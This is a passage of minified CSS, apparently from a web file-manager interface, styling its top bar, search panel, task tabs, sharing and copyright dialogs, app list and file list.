!important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid 